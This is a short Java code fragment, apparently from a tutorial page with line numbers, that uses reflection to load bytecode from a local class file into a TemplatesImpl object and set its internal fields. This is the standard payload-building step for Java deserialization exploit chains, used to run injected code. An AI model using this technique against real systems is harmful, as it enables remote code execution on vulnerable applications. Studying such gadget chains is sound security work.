1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public static Templates getTemplates() throws Exception{ byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};
TemplatesImpl templates = new TemplatesImpl(); Class<?> templatesClass = templates.getClass(); Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,bytes);
Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"666");
Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex"); _transletIndexField.setAccessible(true); _transletIndexField.set(templates,0);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl()); return templates; }
|